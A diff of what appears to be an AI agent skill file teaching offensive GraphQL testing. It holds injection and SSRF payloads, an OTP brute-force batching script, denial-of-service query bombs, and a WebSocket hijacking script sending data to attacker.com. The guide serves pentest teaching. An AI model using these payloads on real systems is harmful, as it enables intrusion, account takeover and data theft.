git:20260506.70e0c89 to git:20260825.8cffe5d

900 added, 161 removed. Audit C to C.

- # SKILL: GraphQL Vulnerabilities
+ ---
+ name: offensive-graphql
+ description: "Offensive methodology for attacking GraphQL APIs during penetration tests and bug bounty engagements. Covers the full attack lifecycle: endpoint discovery, introspection abuse and blind schema reconstruction when introspection is disabled, authentication and authorization bypass through Relay node IDs and nested object traversal, injection via variables and directives, query batching for brute force and OTP bypass, denial of service through depth bombs and alias amplification, WebSocket subscription hijacking, information disclosure through verbose errors and field suggestion oracles, and file upload abuse via the multipart GraphQL specification. Includes tool-specific guidance for InQL, graphql-cop, CrackQL, BatchQL, Altair, GraphQL Voyager, and clairvoyance. Trigger on: GraphQL, graphql, introspection query, batching attack, query depth, GraphQL injection, GraphQL IDOR, field suggestion, GraphQL auth bypass, GraphQL DoS, GraphQL security, graphql-cop, InQL, CrackQL, BatchQL, Relay node, alias amplification, subscription abuse, multipart upload GraphQL, schema enumeration, __schema, __type."
+ ---
- ## Metadata
- - **Skill Name**: graphql-security
- - **Folder**: offensive-graphql
- - **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/graphql.md
+ # Offensive GraphQL
- ## Description
- GraphQL security testing checklist: introspection abuse, batching attacks, query depth/complexity DoS, field suggestion enumeration, IDOR via GraphQL, injection through arguments, authorization bypass. Use when assessing GraphQL endpoints in web app tests or bug bounty.
+ GraphQL consolidates an entire API surface behind a single endpoint, which
+ makes it a high-value target during web application assessments. Unlike REST,
+ where each route maps to a discrete resource, a GraphQL schema exposes every
+ type, field, mutation, and subscription in one queryable structure. Attackers
+ who obtain or reconstruct that schema gain a complete map of the application's
+ data model before writing a single exploit. This skill walks you through each
+ phase of a GraphQL engagement, from discovery through exploitation, with
+ concrete queries, tool invocations, and chaining patterns you can adapt to
+ real targets.
- ## Trigger Phrases
- Use this skill when the conversation involves any of:
- `GraphQL, introspection, batching attack, query depth, GraphQL injection, GraphQL IDOR, field suggestion, GraphQL auth bypass, GraphQL DoS, GraphQL security`
+ ## Quick Workflow
- ## Instructions for Claude
+ 1. Discover the endpoint -- probe common paths, inspect client-side JS bundles, and check WebSocket upgrade headers.
+ 2. Fingerprint the implementation -- use graphw00f to identify Apollo, Yoga, Hasura, Ariadne, or another engine so you can tailor payloads.
+ 3. Dump or reconstruct the schema -- run a full introspection query; if blocked, fall back to field suggestion probing or clairvoyance.
+ 4. Map the attack surface -- feed the schema into GraphQL Voyager or InQL to visualize types, mutations, and relationships.
+ 5. Test authentication and authorization -- check every query and mutation with no token, low-privilege tokens, and cross-user tokens; decode Relay node IDs to find IDOR vectors.
+ 6. Inject through resolvers -- pass SQL, NoSQL, and OS command payloads through string arguments and variables.
+ 7. Abuse batching -- send arrayed operations to brute-force credentials, bypass OTP, and evade rate limits.
+ 8. Stress depth and complexity -- craft nested queries, alias fans, and circular fragments to test DoS resilience.
+ 9. Probe subscriptions -- connect over WebSocket with expired or missing tokens and subscribe to sensitive event streams.
+ 10. Exfiltrate via errors -- trigger verbose stack traces, type mismatches, and field suggestion responses to leak internal details.
+ 11. Test file upload -- use the multipart GraphQL specification to upload oversized or malicious files through mutations.
+ 12. Document, chain, and escalate -- combine findings into multi-step attack chains and write them up with proof-of-concept queries.
- When this skill is active:
- 1. Load and apply the full methodology below as your operational checklist
- 2. Follow steps in order unless the user specifies otherwise
- 3. For each technique, consider applicability to the current target/context
- 4. Track which checklist items have been completed
- 5. Suggest next steps based on findings
+ ---
+ ## 1 -- Endpoint Discovery and Fingerprinting
+
+ You start by locating the GraphQL endpoint. Most implementations register on
+ predictable paths, but some hide behind custom routes or reverse proxies.
+
+ Common endpoint paths to probe:
+
+ ```text
+ /graphql
+ /graphiql
+ /v1/graphql
+ /v2/graphql
+ /api/graphql
+ /graphql/console
+ /playground
+ /explorer
+ /query
+ ```
+
+ Send a simple POST to each candidate with a minimal query body:
+
+ ```bash
+ curl -s -X POST https://target.com/graphql \
+ -H "Content-Type: application/json" \
+ -d '{"query":"{__typename}"}' | jq .
+ ```
+
+ A response containing `{"data":{"__typename":"Query"}}` confirms a live
+ GraphQL endpoint. Some servers also accept GET requests with the query as a
+ URL parameter:
+
+ ```bash
+ curl -s "https://target.com/graphql?query=\{__typename\}"
+ ```
+
+ Once you confirm the endpoint, fingerprint the implementation with graphw00f:
+
+ ```bash
+ python3 graphw00f.py -t https://target.com/graphql
+ ```
+
+ The engine identity (Apollo Server, Yoga, Hasura, Ariadne, Strawberry,
+ graphql-ruby, etc.) determines default behaviors -- whether introspection is
+ on by default, how errors are formatted, and which batching syntax the server
+ accepts.
+
---
- ## Full Methodology
+ ## 2 -- Introspection and Blind Schema Reconstruction
- # GraphQL Vulnerabilities
+ ### Full Introspection Dump
- ## Shortcut
+ When introspection is enabled, you can pull the entire schema in a single
+ request. This is the most valuable reconnaissance step in any GraphQL
+ engagement.
- 1. Identify GraphQL Endpoint: Look for common paths like `/graphql`, `/graphiql`, `/graphql.php`, `/graphql/console`. Check network requests in browser developer tools.
- 2. Introspection Query: Send an introspection query to fetch the schema. Tools like GraphiQL or Postman can help. `query={__schema{types{name}}}`
- 3. Analyze Schema: Look for sensitive types, fields, mutations, and subscriptions. Pay attention to authorization logic.
- 4. Test Queries/Mutations:
- - Check for Information Disclosure (e.g., user data, configuration).
- - Test for Authorization Bypass (IDOR, insufficient permission checks).
- - Look for Injection (SQLi, NoSQLi, Command Injection) in input fields.
- - Test for Denial of Service (complex/deeply nested queries, batching abuse).
- - Explore Mutations for unintended state changes.
- - Check Subscriptions for data leakage.
- - Verify persisted/signed queries enforced in production; depth/complexity limits.
- 5. No Introspection? Try common field/type guessing (e.g., `user`, `admin`, `query`, `mutation`). Use tools like `clairvoyance` or `inql`.
+ ```graphql
+ query FullIntrospection {
+ __schema {
+ queryType { name }
+ mutationType { name }
+ subscriptionType { name }
+ types {
+ kind
+ name
+ description
+ fields(includeDeprecated: true) {
+ name
+ description
+ args {
+ name
+ type { ...TypeRef }
+ defaultValue
+ }
+ type { ...TypeRef }
+ isDeprecated
+ deprecationReason
+ }
+ inputFields {
+ name
+ type { ...TypeRef }
+ defaultValue
+ }
+ interfaces { ...TypeRef }
+ enumValues(includeDeprecated: true) {
+ name
+ description
+ isDeprecated
+ deprecationReason
+ }
+ possibleTypes { ...TypeRef }
+ }
+ directives {
+ name
+ description
+ locations
+ args {
+ name
+ type { ...TypeRef }
+ defaultValue
+ }
+ }
+ }
+ }
- ## Mechanisms
+ fragment TypeRef on __Type {
+ kind
+ name
+ ofType {
+ kind
+ name
+ ofType {
+ kind
+ name
+ ofType {
+ kind
+ name
+ }
+ }
+ }
+ }
+ ```
- - Over-Fetching: Clients can request excessive data, potentially leading to DoS or information disclosure if not properly limited.
- - Under-Fetching/N+1 Problem: Primarily a performance issue—poorly designed resolvers make dozens of backend calls (N+1). While not a direct data‑exposure risk, extreme latency can create timing side‑channels an attacker could measure.
- - Insecure Direct Object References (IDOR): Exposing internal IDs allows attackers to potentially access unauthorized data by guessing/enumerating IDs.
- - Insufficient Authorization: Missing or flawed checks on types, fields, mutations, or subscriptions.
- - Input Validation Issues: Failure to sanitize or validate user input can lead to injection attacks (SQLi, NoSQLi, XSS, SSRF) if resolvers interact with backend systems insecurely.
- - Introspection Enabled in Production: Exposes the entire schema, simplifying reconnaissance for attackers.
- - Batching Abuse: Sending multiple queries/mutations in a single request can overwhelm the server (DoS) or bypass rate limiting.
- - Lack of Depth/Complexity Limiting: Allows excessively nested or complex queries, leading to DoS.
- - Directive Flooding: Sending thousands of `@include`/`@skip` directives in a single query can exhaust parser and validation phases, triggering DoS (e.g., CVE‑2024‑47614 in async‑graphql).
- - Incremental Delivery: `@defer`/`@stream` can multiply work and leak partial data; must be guarded by cost and auth checks on deferred subtrees.
- - File Uploads: Implementations using `graphql-upload` or custom multipart handling can inherit classic upload bugs (path traversal, content-type trust, temp file exposure).
- - Federation/Gateway: Cross-subgraph authorization gaps, entity resolver overfetching, and inconsistent role enforcement at the router vs. subgraphs.
- - CSRF Considerations: If cookie‑based auth is used, enforce header + `Origin` validation; prefer Authorization header.
- - WebSocket Security: GraphQL subscriptions over WebSocket often lack proper authorization on long-lived connections; auth tokens in connection params may not be re-validated after expiry.
- - Field Suggestions: Error messages that suggest valid field names when invalid ones are queried can leak schema information even with introspection disabled.
- - Relay Global IDs: Base64-encoded `Type:ID` patterns (e.g., `base64("User:123")`) are commonly used and can be decoded to reveal internal IDs.
- - Apollo/Hasura Leaks: Production Apollo Server instances may leak schema via query extensions; Hasura permissions misconfiguration can expose direct DB access.
- - Header Injection: `x-hasura-*` headers or custom auth headers may be trusted without validation, enabling privilege escalation.
+ Pipe the result into GraphQL Voyager or InQL for visual exploration. In Burp
+ Suite, load InQL and point it at the endpoint -- it parses the schema and
+ generates individual queries for every field and mutation automatically.
- ## Hunt
+ ### Targeted Type Queries
- ### Preparation
+ When you only need details about a specific type, use `__type`:
- - Identify the GraphQL endpoint(s).
- - Obtain the schema via introspection or guessing.
- - Understand the application context and potential sensitive data/actions.
+ ```graphql
+ query {
+ __type(name: "User") {
+ name
+ fields {
+ name
+ type {
+ name
+ kind
+ }
+ }
+ }
+ }
+ ```
- ### Techniques
+ This is useful when full introspection is disabled but `__type` lookups are
+ still permitted -- a common misconfiguration where the server blocks the
+ `__schema` root field but forgets to block `__type`.
- - Schema Analysis: Use tools like `GraphQL Voyager` or manually review the schema for sensitive keywords (`admin`, `password`, `config`, `secret`), authorization directives, and complex relationships.
- - Query Fuzzing: Use tools like `inql` or custom scripts to fuzz queries, mutations, and arguments.
- - Authorization Testing:
- - Try accessing data/mutations meant for higher-privileged users.
- - Test IDOR by replacing IDs in queries/mutations.
- - Check if different roles see different schema subsets (if applicable).
- - Verify router and subgraphs enforce identical authz decisions.
- - Injection Testing: Inject payloads (SQL, NoSQL, OS command, XSS, SSRF) into string arguments.
- - DoS Testing:
- - Deeply nested queries (`query { user { friends { friends { ... } } } }`).
- - Large limits in list arguments (`query { users(limit: 99999) { id } }`).
- - Query batching abuse.
- - Field duplication/aliases (`query { u1: user(id:1){id} u2: user(id:1){id} ... }`).
- - Directive flooding by attaching a very long chain of `@include` or `@skip` directives to safe fields.
- - Incremental delivery pressure: attach many `@defer`/`@stream` segments to expand compute and memory footprint.
- - Business Logic Flaws: Test mutations for race conditions, logical errors, or unintended side effects.
- - Upload testing: multipart spec edge cases (path traversal via `map`, temp file exposure) and file‑type checks.
- - WebSocket Subscription Testing:
- - Tamper with `connection_init` payload (JWT in `connectionParams`)
- - Test subscription flooding without rate limiting
- - Verify auth token expiry is enforced on long-lived WS connections
- - Test for cross-user subscription leaks via predictable subscription IDs
- - Field Suggestion Probing: Send invalid field names and analyze error messages for schema hints ("Did you mean...?" responses)
- - Relay ID Decoding: Identify base64-encoded global IDs (e.g., `id: "VXNlcjoxMjM="`), decode to extract type and numeric ID, test IDOR
- - Apollo Extensions: Try `?extensions={"persistedQuery":{...}}` or check for `apollo-server-testing` header in responses
- - Hasura Header Injection: Test `x-hasura-role`, `x-hasura-user-id`, `x-hasura-org-id` headers for authorization bypass
+ ### Bypassing Disabled Introspection
- ### Advanced Testing
+ When introspection is fully disabled, you reconstruct the schema through
+ alternative channels.
- - Reverse engineer client-side code making GraphQL requests.
- - Analyze traffic between microservices if GraphQL is used internally.
- - Test subscription endpoints for authorization issues and data leakage over time.
+ **Field suggestion oracle.** Most GraphQL engines return "Did you mean..."
+ suggestions when you query a non-existent field. You use this as a schema
+ oracle by submitting plausible field names and harvesting the suggestions:
- ## Bypass Techniques
+ ```graphql
+ query {
+ __typename
+ aaa
+ }
+ ```
- ### Introspection Disabled
+ A typical response:
- Use wordlists (SecLists has GraphQL lists) with tools like `clairvoyance` or `GraphQLmap` to guess types, fields, and arguments. Analyze client-side code for hints.
+ ```json
+ {
+ "errors": [
+ {
+ "message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?",
+ "locations": [{"line": 3, "column": 3}]
+ }
+ ]
+ }
+ ```
- - Quick probe: `query { __typename }` often succeeds even when full introspection is disabled and confirms a GraphQL endpoint.
+ You now know the Query type has `user`, `users`, and `admin` fields. Repeat
+ this process systematically. The tool clairvoyance automates this entirely:
- - Use wordlists (SecLists has GraphQL lists) with tools like `clairvoyance` or `GraphQLmap` to guess types, fields, and arguments. Analyze client-side code for hints.
+ ```bash
+ python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.json
+ ```
- ### Rate Limiting/Complexity Limits
+ It iterates through a wordlist, collects suggestions, and assembles a
+ reconstructed schema.
- - Use aliases to request the same field multiple times within limits.
- - Split complex queries into multiple smaller ones.
- - Abuse batching if not properly limited.
+ **Apollo Sandbox and Studio.** If the target runs Apollo Server, navigate to
+ `https://target.com/graphql` in a browser. Apollo Server v3+ serves Apollo
+ Sandbox by default, which performs introspection client-side even when the
+ production toggle is supposedly off. The sandbox may also expose the schema
+ through the Apollo Studio explorer if the server is registered with Apollo
+ Studio.
- ### Web Application Firewalls (WAFs)
+ **Client-side bundle analysis.** Search JavaScript bundles served by the
+ application for query strings, fragment definitions, and type names:
- - Use GraphQL query variations (aliases, fragments, different whitespace).
- - Encode payloads within strings.
- - Leverage nested input objects if WAF only inspects top-level arguments.
- - Abuse incremental delivery: place sensitive fields under `@defer` to evade naive complexity calculators.
- - Persisted queries reduce WAF reliance; prefer signature enforcement at edge.
+ ```bash
+ # Download and search JS bundles for GraphQL artifacts
+ curl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+'
+ ```
- ## Vulnerabilities
+ **graphql-cop probe.** Run graphql-cop to check for introspection status,
+ field suggestions, and other misconfigurations in one pass:
- ### Common Patterns
+ ```bash
+ python3 graphql-cop.py -t https://target.com/graphql
+ ```
- - Publicly exposed GraphiQL interface with introspection enabled.
- - Mutations lacking proper authorization checks.
- - Resolvers directly using user input in database queries or system commands.
- - Fields returning sensitive information not intended for the user's role.
- - Lack of query depth/complexity/limit controls.
+ It reports whether introspection is enabled, whether field suggestions leak
+ type information, whether GET-based queries are accepted (CSRF risk), and
+ whether batching is unrestricted.
- ### Specific Functions/Areas:
+ ---
- - `user`, `account`, `profile` types/queries (Information Disclosure, IDOR).
- - `admin`, `settings`, `config` types/queries (Privilege Escalation).
- - Mutations involving payments, data modification, or user management.
- - Search functionalities (Injection).
- - File upload mechanisms via mutations.
- - Subscription endpoints.
+ ## 3 -- Authentication and Authorization Bypass
- ## Methodologies
+ GraphQL authorization bugs are pervasive because developers must implement
+ field-level and type-level checks manually in each resolver. Missing checks on
+ a single nested field can expose the entire object graph.
- ### Tools
+ ### IDOR Through Relay Node IDs
- - Automated Scanners: `StackHawk`, `Invicti`, **Escape** (free SaaS tier), `Nuclei` (GraphQL templates).
- - Introspection & Interaction: `GraphiQL`, `Postman`, `Altair GraphQL Client`, `Insomnia`.
- - Schema Exploration: `GraphQL Voyager`.
- - Exploitation/Fuzzing: `inql` (Burp Suite Extension), `GraphQLmap`, `clairvoyance`, **CrackQL** (JWT extraction from errors), **BatchQL** (batch query fuzzing), custom Python scripts (`requests` library).
- - Proxy: Burp Suite, OWASP ZAP (to intercept and modify requests).
- - Security Middleware: **GraphQL Armor** – production‑ready depth, alias and complexity limits for Apollo Server, Yoga, Envelop and more.
- - Fingerprinting / Recon: **graphw00f** – identifies the underlying GraphQL implementation (Apollo, Yoga, Hasura, etc.) to tailor attacks.
- - Security Auditing: **graphql-cop** – security auditing and configuration checking.
- - Endpoint Discovery: `Graphinder` and wordlists for path guessing.
- - Linters/Policy: `graphql-schema-linter`, `eslint-plugin-graphql`, and custom auth directives unit tests.
+ Applications using the Relay specification expose a global `node` interface
+ that resolves any object by its opaque ID. These IDs are typically
+ base64-encoded strings in the form `Type:numericID`:
- ### Systematic Process
+ ```bash
+ echo -n "VXNlcjoxMjM=" | base64 -d
+ # Output: User:123
+ ```
- 1. Reconnaissance (Endpoint discovery, Schema retrieval/guessing).
- 2. Schema Analysis (Identify key types, fields, mutations, auth).
- 3. Authorization Testing (Role-based access, IDOR).
- 4. Input Vulnerability Testing (Injection, XSS, SSRF in arguments).
- 5. DoS Testing (Query complexity, batching, limits).
- 6. Business Logic Testing (Mutation side-effects, race conditions).
- 7. Subscription Testing (if applicable).
+ Forge IDs for other users and query them through the node interface:
- ### High-Impact Targets
+ ```graphql
+ query {
+ node(id: "VXNlcjoxMjQ=") {
+ ... on User {
+ id
+ email
+ role
+ ssn
+ }
+ }
+ }
+ ```
- Mutations changing state (user roles, passwords, settings), queries accessing sensitive user data, administrative endpoints.
+ If the resolver does not enforce ownership checks, you retrieve another user's
+ data. Enumerate IDs sequentially by encoding `User:1`, `User:2`, etc.:
- ## Chaining and Escalation
+ ```bash
+ for i in $(seq 1 100); do
+ id=$(echo -n "User:$i" | base64)
+ echo "{\"query\": \"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"
+ done | xargs -I{} curl -s -X POST https://target.com/graphql \
+ -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" -d '{}'
+ ```
- - **IDOR + Mutation**: Discover an IDOR in a query, then use the leaked ID to modify another user's data via a mutation (e.g., change email/password).
- - **Information Disclosure + Injection**: Leak database structure/version via a verbose error, then use that info to craft a targeted SQLi payload.
- - **SSRF + Internal Endpoint**: Use an SSRF vulnerability in a resolver to interact with internal GraphQL endpoints or other services not directly accessible.
- - **Authorization Bypass + Admin Mutation**: Gain access to an administrative mutation (e.g., `updateUserRole`) through flawed authorization, then escalate privileges.
- - **XSS + Token Theft**: Inject XSS payload via a vulnerable field, steal authentication tokens from other users viewing the data.
+ ### Nested Object Authorization Gaps
- ## Remediation Recommendations
+ Authorization is often enforced on the top-level query but not on nested
+ relationships. If you can access your own `Order` object, check whether its
+ `customer` field lets you traverse to another user:
- - Disable Introspection in Production: Prevent easy schema discovery.
- - Implement Strict Authorization: Apply checks at the schema level (directives) and within resolvers for every field, type, mutation, and subscription based on user roles/permissions. Use context passed to resolvers.
- - Input Validation & Sanitization: Validate all arguments against expected types, formats, and lengths. Sanitize input before using it in downstream systems (databases, commands). Use parameterized queries.
- - Query Cost Analysis: Implement limits on query depth, complexity (e.g., maximum nodes or calculated cost), and amount (limit number of results).
- - Rate Limiting: Limit the number of requests per user/IP, including batched queries.
- - Persisted & Signed Queries: Enforce automatic persisted queries (APQ) with operation signatures to whitelist allowed operations and block unknown or modified queries.
- - Secure Federation Gateways: Keep Apollo Router (or your GraphQL gateway) patched, validate supergraph composition, and enforce authorization at the gateway layer to prevent cross‑subgraph data leaks.
- - Caching & CDN Hardening: If responses are cached, partition caches by the `Authorization` header (or disable caching) to avoid shared‑cache data leakage.
- - Specific Field Exposure: Avoid exposing sensitive fields (`password`, `internal tokens`). Use dedicated Data Transfer Objects (DTOs) if necessary.
- - Error Handling: Return generic error messages; avoid leaking stack traces or internal details.
- - Regular Audits & Testing: Perform regular security reviews and penetration tests specifically targeting the GraphQL API.
- - Use Security Headers: Apply standard web security headers (CSP, HSTS, etc.).
- - Keep Libraries Updated: Ensure GraphQL server libraries and dependencies are patched.
- - Incremental Delivery Controls: enforce cost accounting for `@defer`/`@stream`; ensure deferred subtrees still run full auth/visibility checks.
- - File Upload Hygiene: if using GraphQL upload, re‑encode images, validate content by signature, and store outside web root; apply all controls from `file-upload.md`.
- - Federation RBAC: centralize auth policy in schema directives evaluated at the gateway and in subgraphs; avoid trusting upstream filtering blindly.
+ ```graphql
+ query {
+ myOrders {
+ id
+ customer {
+ id
+ email
+ paymentMethods {
+ cardNumber
+ expirationDate
+ }
+ }
+ }
+ }
+ ```
+ The resolver for `myOrders` filters by your user ID, but the `customer`
+ resolver on the Order type may eagerly load the associated user without
+ verifying that you are allowed to see that user's payment methods.
+
+ ### Relay Pagination and Cursor Manipulation
+
+ Relay-style pagination uses opaque cursors. Decode them (often base64 of an
+ offset or timestamp) and manipulate the value:
+
+ ```graphql
+ query {
+ users(first: 10, after: "Y3Vyc29yOjk5OQ==") {
+ edges {
+ node {
+ id
+ email
+ }
+ cursor
+ }
+ pageInfo {
+ hasNextPage
+ endCursor
+ }
+ }
+ }
+ ```
+
+ If the cursor decodes to `cursor:999`, set it to `cursor:0` to start from the
+ beginning of the dataset, potentially accessing records you should not see.
+
+ ### Mutation Authorization
+
+ Test every mutation with multiple privilege levels. Common targets:
+
+ ```graphql
+ mutation {
+ updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) {
+ id
+ role
+ }
+ }
+
+ mutation {
+ deleteAccount(userId: "OTHER_USER_ID") {
+ success
+ }
+ }
+ ```
+
+ Send these with an unauthenticated session, a low-privilege token, and a
+ cross-tenant token.
+
+ ---
+
+ ## 4 -- Injection Through Resolvers
+
+ GraphQL variables and arguments flow directly into resolver functions. If a
+ resolver constructs database queries by string concatenation instead of
+ parameterized queries, you have classic injection vectors.
+
+ ### SQL Injection via Variables
+
+ ```graphql
+ query GetUser($name: String!) {
+ user(name: $name) {
+ id
+ email
+ }
+ }
+ ```
+
+ Variables payload:
+
+ ```json
+ {
+ "name": "admin' OR 1=1 --"
+ }
+ ```
+
+ If the resolver does `SELECT * FROM users WHERE name = '${args.name}'`, this
+ dumps all users. Escalate with UNION-based injection:
+
+ ```json
+ {
+ "name": "' UNION SELECT username, password FROM admin_users --"
+ }
+ ```
+
+ ### NoSQL Injection
+
+ For resolvers backed by MongoDB or similar:
+
+ ```json
+ {
+ "filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}
+ }
+ ```
+
+ Or through a JSON string argument:
+
+ ```graphql
+ query {
+ search(filter: "{\"$where\": \"sleep(5000)\"}") {
+ results
+ }
+ }
+ ```
+
+ ### Directive Injection
+
+ Custom directives may accept arguments that are processed server-side. If the
+ server uses a custom `@constraint` or `@auth` directive, test whether you can
+ override its behavior:
+
+ ```graphql
+ query {
+ sensitiveData @skip(if: false) @deprecated(reason: "test") {
+ secret
+ }
+ }
+ ```
+
+ Directive flooding -- attaching thousands of `@include(if: true)` directives
+ to a single field -- can also crash parsers (CVE-2024-47614 in async-graphql):
+
+ ```graphql
+ query {
+ __typename @include(if: true) @include(if: true) @include(if: true)
+ # ... repeat 10,000 times
+ }
+ ```
+
+ ### SSRF Through Resolver Arguments
+
+ If a mutation accepts a URL argument (for webhooks, avatars, imports), test
+ for SSRF:
+
+ ```graphql
+ mutation {
+ setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") {
+ success
+ }
+ }
+ ```
+
+ ---
+
+ ## 5 -- Batching Attacks
+
+ GraphQL servers commonly accept arrays of operations in a single HTTP request.
+ This enables powerful brute-force and bypass attacks because back-end rate
+ limiters often count HTTP requests, not individual operations within a batch.
+
+ ### Credential Brute Force
+
+ ```json
+ [
+ {"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"},
+ {"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"},
+ {"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"},
+ {"query": "mutation { login(user: \"admin\", pass: \"password4\") { token } }"},
+ {"query": "mutation { login(user: \"admin\", pass: \"password5\") { token } }"}
+ ]
+ ```
+
+ A single HTTP request carries hundreds of login attempts. The rate limiter
+ sees one request and lets it through.
+
+ ### OTP / 2FA Bypass
+
+ If the application uses a numeric OTP (4-6 digits), batch all possible values:
+
+ ```python
+ import json, requests
+
+ ops = []
+ for code in range(0, 10000):
+ otp = str(code).zfill(4)
+ ops.append({
+ "query": f'mutation {{ verifyOTP(code: "{otp}") {{ success token }} }}'
+ })
+
+ # Send in chunks of 500
+ for i in range(0, len(ops), 500):
+ r = requests.post(
+ "https://target.com/graphql",
+ json=ops[i:i+500],
+ headers={"Authorization": "Bearer <session_token>"}
+ )
+ for idx, result in enumerate(r.json()):
+ if result.get("data", {}).get("verifyOTP", {}).get("success"):
+ print(f"Valid OTP: {str(i + idx).zfill(4)}")
+ break
+ ```
+
+ ### Alias-Based Batching
+
+ Some servers reject array batching but allow alias-based batching within a
+ single query document:
+
+ ```graphql
+ query {
+ attempt1: login(user: "admin", pass: "pass1") { token }
+ attempt2: login(user: "admin", pass: "pass2") { token }
+ attempt3: login(user: "admin", pass: "pass3") { token }
+ attempt4: login(user: "admin", pass: "pass4") { token }
+ attempt5: login(user: "admin", pass: "pass5") { token }
+ }
+ ```
+
+ Use BatchQL to automate this:
+
+ ```bash
+ python3 batch-ql.py -e https://target.com/graphql -q 'mutation { login(user: "admin", pass: "§pass§") { token } }' -w passwords.txt
+ ```
+
+ And CrackQL for more advanced batching with JWT and session management:
+
+ ```bash
+ python3 CrackQL.py -t https://target.com/graphql \
+ -q query.graphql \
+ -i inputs.csv \
+ --batch-size 500
+ ```
+
+ ---
+
+ ## 6 -- Denial of Service
+
+ GraphQL's flexible query language makes it inherently susceptible to
+ resource exhaustion attacks unless the server enforces strict cost controls.
+
+ ### Deeply Nested Queries (Depth Bomb)
+
+ Exploit circular relationships in the schema. If `User` has `friends` that
+ returns `[User]`, you can nest indefinitely:
+
+ ```graphql
+ query DepthBomb {
+ users {
+ friends {
+ friends {
+ friends {
+ friends {
+ friends {
+ friends {
+ friends {
+ friends {
+ id
+ email
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ ```
+
+ Each level multiplies the number of database queries exponentially (N+1
+ problem). Eight levels deep on a user with 100 friends each triggers 100^8
+ resolver calls.
+
+ ### Alias Amplification
+
+ Request the same expensive field thousands of times using aliases:
+
+ ```graphql
+ query AliasAmplification {
+ a1: expensiveReport(year: 2024) { data }
+ a2: expensiveReport(year: 2024) { data }
+ a3: expensiveReport(year: 2024) { data }
+ # ... repeat 1000 times
+ }
+ ```
+
+ Each alias invokes the resolver independently. If the resolver queries a
+ database or external service, you multiply the back-end load by the alias
+ count.
+
+ ### Circular Fragment Spread
+
+ Some older implementations do not detect circular fragment references:
+
+ ```graphql
+ fragment A on User {
+ friends {
+ ...B
+ }
+ }
+
+ fragment B on User {
+ friends {
+ ...A
+ }
+ }
+
+ query {
+ user(id: 1) {
+ ...A
+ }
+ }
+ ```
+
+ Compliant servers reject this at validation, but misconfigured or custom
+ implementations may attempt to resolve it, causing infinite recursion and
+ stack overflow.
+
+ ### Incremental Delivery Abuse
+
+ If the server supports `@defer` and `@stream`, attach them to expensive
+ subtrees to force the server to hold connections open and compute partial
+ results in parallel:
+
+ ```graphql
+ query {
+ users(first: 1000) @stream(initialCount: 1) {
+ id
+ orders @defer {
+ total
+ items @stream(initialCount: 1) {
+ name
+ price
+ }
+ }
+ }
+ }
+ ```
+
+ ---
+
+ ## 7 -- Subscription Abuse and WebSocket Hijacking
+
+ GraphQL subscriptions typically run over WebSocket connections using the
+ `graphql-ws` or older `subscriptions-transport-ws` protocol. These
+ long-lived connections are a distinct attack surface.
+
+ ### Unauthenticated Subscription
+
+ Connect to the WebSocket endpoint and subscribe without providing
+ authentication in the `connection_init` payload:
+
+ ```json
+ {"type": "connection_init", "payload": {}}
+ ```
+
+ Then subscribe to a sensitive event stream:
+
+ ```json
+ {
+ "id": "1",
+ "type": "subscribe",
+ "payload": {
+ "query": "subscription { newOrder { id customer { email } total } }"
+ }
+ }
+ ```
+
+ If the server does not validate the connection_init payload, you receive
+ real-time events for all new orders.
+
+ ### Token Expiry on Long-Lived Connections
+
+ WebSocket connections persist after the initial handshake. If the server
+ validates the JWT only during `connection_init` but not on subsequent
+ messages, a token that expires mid-session remains valid for the life of the
+ connection. Test this by:
+
+ 1. Connecting with a valid short-lived token.
+ 2. Waiting for the token to expire.
+ 3. Sending a new subscription -- if it succeeds, the server does not
+ re-validate tokens.
+
+ ### Cross-User Subscription Leaks
+
+ If subscription IDs are predictable or sequential, attempt to receive events
+ intended for other users by guessing subscription identifiers or manipulating
+ the `id` field in the subscribe message.
+
+ ### WebSocket CSWSH (Cross-Site WebSocket Hijacking)
+
+ If the WebSocket endpoint relies on cookies for authentication and does not
+ validate the `Origin` header, you can hijack the connection from a malicious
+ page:
+
+ ```html
+ <script>
+ var ws = new WebSocket("wss://target.com/graphql", "graphql-ws");
+ ws.onopen = function() {
+ ws.send(JSON.stringify({type: "connection_init", payload: {}}));
+ ws.send(JSON.stringify({
+ id: "1",
+ type: "subscribe",
+ payload: {query: "subscription { sensitiveEvent { data } }"}
+ }));
+ };
+ ws.onmessage = function(e) {
+ fetch("https://attacker.com/collect?d=" + btoa(e.data));
+ };
+ </script>
+ ```
+
+ ---
+
+ ## 8 -- Information Disclosure
+
+ ### Verbose Error Messages
+
+ GraphQL engines often return detailed error messages that reveal internal
+ implementation details:
+
+ ```graphql
+ query {
+ user(id: "abc") {
+ id
+ }
+ }
+ ```
+
+ Response exposing backend details:
+
+ ```json
+ {
+ "errors": [
+ {
+ "message": "invalid input syntax for type integer: \"abc\"",
+ "locations": [{"line": 2, "column": 3}],
+ "extensions": {
+ "code": "INTERNAL_SERVER_ERROR",
+ "exception": {
+ "stacktrace": [
+ "Error: invalid input syntax for type integer: \"abc\"",
+ " at /app/node_modules/pg/lib/client.js:526:17",
+ " at /app/src/resolvers/user.js:42:12"
+ ]
+ }
+ }
+ }
+ ]
+ }
+ ```
+
+ This reveals the database driver (PostgreSQL via `pg`), the resolver file
+ path, and line numbers. Feed this information into targeted injection payloads.
+
+ ### Field Suggestion as Schema Oracle
+
+ Even when introspection is disabled, the "Did you mean" feature acts as a
+ side channel. Systematically iterate through prefixes:
+
+ ```text
+ Query field "a" -> Did you mean "admin", "account"?
+ Query field "b" -> Did you mean "billing", "blog"?
+ Query field "c" -> Did you mean "customer", "config", "cart"?
+ ```
+
+ You reconstruct the full Query type field list without introspection. Then
+ repeat the process on each discovered type's fields by querying nested fields
+ with intentional typos.
+
+ ### Hasura and Apollo-Specific Leaks
+
